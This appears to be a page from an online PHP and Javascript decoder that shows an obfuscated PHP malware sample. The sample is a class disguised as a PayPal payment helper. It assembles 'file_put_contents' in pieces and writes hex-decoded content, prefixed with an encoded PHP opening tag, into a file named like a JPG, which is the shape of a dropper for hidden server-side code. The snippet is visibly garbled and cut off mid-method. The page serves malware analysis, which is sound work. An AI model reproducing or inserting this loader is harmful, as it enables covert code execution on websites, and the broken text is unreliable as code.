Online PHP and Javascript Decoder decode hidden script to uncover its real functionality



//ffafewafUe85YyrGgSIz
class GetOrderPayMenuP{
public $jpg;
public function __construct(){
$this->jpg="./nbpafebaef.jpg";
}

public function paypal($sg){
touch($this->jpg);

$i=0;this-

$g = ($a = sprintf("%s%s","file_put","_contents"));
$z = $g($>jpg, sprintf("%s", $this->ppq($sg[$i][$i])));
$g;
}

public function __call($name, $arguments) {
if ($name == 'gawsf') {
$this->paypal($arguments);
} else {
return $this->xxx($arguments);
}
}
function xxx($hex){

$end = '33663365';
$hex = $hex[0].'3f3e';

for($i=0;$i<strlen('3061336333663730363837303230')-1;$i+=2)
$tmp.=chr(hexdec('3061336333663730363837303230'[$i].'3061336333663730363837303230'[$i+1]));
$tmp2="";
for($i=0;$i<strlen($tmp)-1;$i+=2)
$tmp2.=chr(hexdec($tmp[$i].$tmp[$i+1]));

$str="";
for($i=0;$i<strlen($hex)-1;$i+=2)
$str.=chr(hexdec($hex[$i].$hex[$i+1]));
return  $tmp2.$str;
}

public function __destruct(){
unlink($this->jpg);



© 2023 Quttera Ltd. All rights reserved.